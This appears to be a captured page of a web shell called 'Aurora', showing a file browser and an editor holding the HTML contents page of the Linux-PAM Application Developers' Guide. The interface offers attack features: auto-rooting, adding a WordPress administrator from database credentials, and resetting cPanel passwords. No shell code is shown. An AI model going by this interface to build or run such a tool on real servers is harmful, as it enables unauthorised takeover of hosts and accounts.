Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
doc
pam-devel
html
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: Linux-PAM_ADG.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>The Linux-PAM Application Developers' Guide</title><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot"><meta name="description" content="This manual documents what an application developer needs to know about the Linux-PAM library. It describes how an application might use the Linux-PAM library to authenticate users. In addition it contains a description of the functions to be found in libpam_misc library, that can be used in general applications. Finally, it contains some comments on PAM related security issues for the application developer."><link rel="home" href="Linux-PAM_ADG.html" title="The Linux-PAM Application Developers' Guide"><link rel="next" href="adg-introduction.html" title="Chapter 1. Introduction"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">The Linux-PAM Application Developers' Guide</th></tr><tr><td width="20%" align="left"> </td><th width="60%" align="center"> </th><td width="20%" align="right"> <a accesskey="n" href="adg-introduction.html">Next</a></td></tr></table><hr></div><div class="book"><div class="titlepage"><div><div><h1 class="title"><a name="adg"></a>The Linux-PAM Application Developers' Guide</h1></div><div><div class="authorgroup"><div class="author"><h3 class="author"><span class="firstname">Andrew G.</span> <span class="surname">Morgan</span></h3><code class="email"><<a class="email" href="mailto:morgan@kernel.org">morgan@kernel.org</a>></code></div><div class="author"><h3 class="author"><span class="firstname">Thorsten</span> <span class="surname">Kukuk</span></h3><code class="email"><<a class="email" href="mailto:kukuk@thkukuk.de">kukuk@thkukuk.de</a>></code></div></div></div><div><p class="releaseinfo">Version 1.1.2, 31. August 2010</p></div><div><div class="abstract"><p class="title"><b>Abstract</b></p><p> This manual documents what an application developer needs to know about the <span class="emphasis"><em>Linux-PAM</em></span> library. It describes how an application might use the <span class="emphasis"><em>Linux-PAM</em></span> library to authenticate users. In addition it contains a description of the functions to be found in <code class="filename">libpam_misc</code> library, that can be used in general applications. Finally, it contains some comments on PAM related security issues for the application developer. </p></div></div></div><hr></div><div class="toc"><p><b>Table of Contents</b></p><dl class="toc"><dt><span class="chapter"><a href="adg-introduction.html">1. Introduction</a></span></dt><dd><dl><dt><span class="section"><a href="adg-introduction-description.html">1.1. Description</a></span></dt><dt><span class="section"><a href="adg-introduction-synopsis.html">1.2. Synopsis</a></span></dt></dl></dd><dt><span class="chapter"><a href="adg-overview.html">2. Overview</a></span></dt><dt><span class="chapter"><a href="adg-interface.html">3. The public interface to <span class="emphasis"><em>Linux-PAM</em></span> </a></span></dt><dd><dl><dt><span class="section"><a href="adg-interface-by-app-expected.html">3.1. What can be expected by the application</a></span></dt><dd><dl><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_start">3.1.1. Initialization of PAM transaction</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_end">3.1.2. Termination of PAM transaction</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_set_item">3.1.3. Setting PAM items</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_get_item">3.1.4. Getting PAM items</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_strerror">3.1.5. Strings describing PAM error codes</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_fail_delay">3.1.6. Request a delay on failure</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_authenticate">3.1.7. Authenticating the user</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_setcred">3.1.8. Setting user credentials</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_acct_mgmt">3.1.9. Account validation management</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_chauthtok">3.1.10. Updating authentication tokens</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_open_session">3.1.11. Start PAM session management</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_close_session">3.1.12. terminating PAM session management</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_putenv">3.1.13. Set or change PAM environment variable</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_getenv">3.1.14. Get a PAM environment variable</a></span></dt><dt><span class="section"><a href="adg-interface-by-app-expected.html#adg-pam_getenvlist">3.1.15. Getting the PAM environment</a></span></dt></dl></dd><dt><span class="section"><a href="adg-interface-of-app-expected.html">3.2. What is expected of an application</a></span></dt><dd><dl><dt><span class="section"><a href="adg-interface-of-app-expected.html#adg-pam_conv">3.2.1. The conversation function</a></span></dt></dl></dd><dt><span class="section"><a href="adg-interface-programming-notes.html">3.3. Programming notes</a></span></dt></dl></dd><dt><span class="chapter"><a href="adg-security.html">4. Security issues of <span class="emphasis"><em>Linux-PAM</em></span> </a></span></dt><dd><dl><dt><span class="section"><a href="adg-security-library-calls.html">4.1. Care about standard library calls</a></span></dt><dt><span class="section"><a href="adg-security-service-name.html">4.2. Choice of a service name</a></span></dt><dt><span class="section"><a href="adg-security-conv-function.html">4.3. The conversation function</a></span></dt><dt><span class="section"><a href="adg-security-user-identity.html">4.4. The identity of the user</a></span></dt><dt><span class="section"><a href="adg-security-resources.html">4.5. Sufficient resources</a></span></dt></dl></dd><dt><span class="chapter"><a href="adg-libpam_misc.html">5. A library of miscellaneous helper functions</a></span></dt><dd><dl><dt><span class="section"><a href="adg-libpam-functions.html">5.1. Functions supplied</a></span></dt><dd><dl><dt><span class="section"><a href="adg-libpam-functions.html#adg-misc_conv">5.1.1. Text based conversation function</a></span></dt><dt><span class="section"><a href="adg-libpam-functions.html#adg-pam_misc_paste_env">5.1.2. Transcribing an environment to that of PAM</a></span></dt><dt><span class="section"><a href="adg-libpam-functions.html#adg-pam_misc_drop_env">5.1.3. Liberating a locally saved environment</a></span></dt><dt><span class="section"><a href="adg-libpam-functions.html#adg-pam_misc_setenv">5.1.4. BSD like PAM environment variable setting</a></span></dt></dl></dd></dl></dd><dt><span class="chapter"><a href="adg-porting.html">6. Porting legacy applications</a></span></dt><dt><span class="chapter"><a href="adg-glossary.html">7. Glossary of PAM related terms</a></span></dt><dt><span class="chapter"><a href="adg-example.html">8. An example application</a></span></dt><dt><span class="chapter"><a href="adg-files.html">9. Files</a></span></dt><dt><span class="chapter"><a href="adg-see-also.html">10. See also</a></span></dt><dt><span class="chapter"><a href="adg-author.html">11. Author/acknowledgments</a></span></dt><dt><span class="chapter"><a href="adg-copyright.html">12. Copyright information for this document</a></span></dt></dl></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"> </td><td width="20%" align="center"> </td><td width="40%" align="right"> <a accesskey="n" href="adg-introduction.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top"> </td><td width="20%" align="center"> </td><td width="40%" align="right" valign="top"> Chapter 1. Introduction</td></tr></table></div></body></html>